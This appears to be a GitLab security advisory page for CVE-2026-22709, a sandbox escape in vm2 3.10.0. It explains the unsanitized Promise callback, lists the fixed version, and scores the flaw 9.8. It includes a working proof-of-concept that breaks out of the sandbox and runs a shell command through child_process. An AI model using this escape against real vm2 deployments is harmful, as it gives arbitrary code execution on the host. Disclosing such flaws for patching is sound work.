Advisory Database
  • Advisories
  • Dependency Scanning
  1. npm
  2. ›
  3. vm2
  4. ›
  5. CVE-2026-22709

CVE-2026-22709: vm2 has a Sandbox Escape

January 26, 2026

In vm2 for version 3.10.0, Promise.prototype.then Promise.prototype.catch callback sanitization can be bypassed. This allows attackers to escape the sandbox and run arbitrary code.

const { VM } = require("vm2");

const code = `
const error = new Error();
error.name = Symbol();
const f = async () => error.stack;
const promise = f();
promise.catch(e => {
const Error = e.constructor;
const Function = Error.constructor;
const f = new Function(
"process.mainModule.require('child_process').execSync('echo HELLO WORLD!', { stdio: 'inherit' })"
);
f();
});
`;

new VM().run(code);

In lib/setup-sandbox.js, the callback function of localPromise.prototype.then is sanitized, but globalPromise.prototype.then is not sanitized. The return value of async functions is globalPromise object.

References

  • github.com/advisories/GHSA-99p7-6v5w-7xg8
  • github.com/patriksimek/vm2
  • github.com/patriksimek/vm2/commit/4b009c2d4b1131c01810c1205e641d614c322a29
  • github.com/patriksimek/vm2/releases/tag/v3.10.2
  • github.com/patriksimek/vm2/security/advisories/GHSA-99p7-6v5w-7xg8
  • nvd.nist.gov/vuln/detail/CVE-2026-22709

Code Behaviors & Features

Detect and mitigate CVE-2026-22709 with GitLab Dependency Scanning

Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Learn more about Dependency Scanning →

Affected versions

All versions before 3.10.2

Fixed versions

  • 3.10.2

Solution

Upgrade to version 3.10.2 or above.

Impact 9.8 CRITICAL

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Learn more about CVSS

Weakness

  • CWE-693: Protection Mechanism Failure
  • CWE-913: Improper Control of Dynamically-Managed Code Resources
  • CWE-94: Improper Control of Generation of Code ('Code Injection')

Source file

npm/vm2/CVE-2026-22709.yml

Spotted a mistake? Edit the file on GitLab.

  • Site Repo
  • About GitLab
  • Terms
  • Privacy Statement
  • Contact

Page generated Wed, 28 Jan 2026 00:17:31 +0000.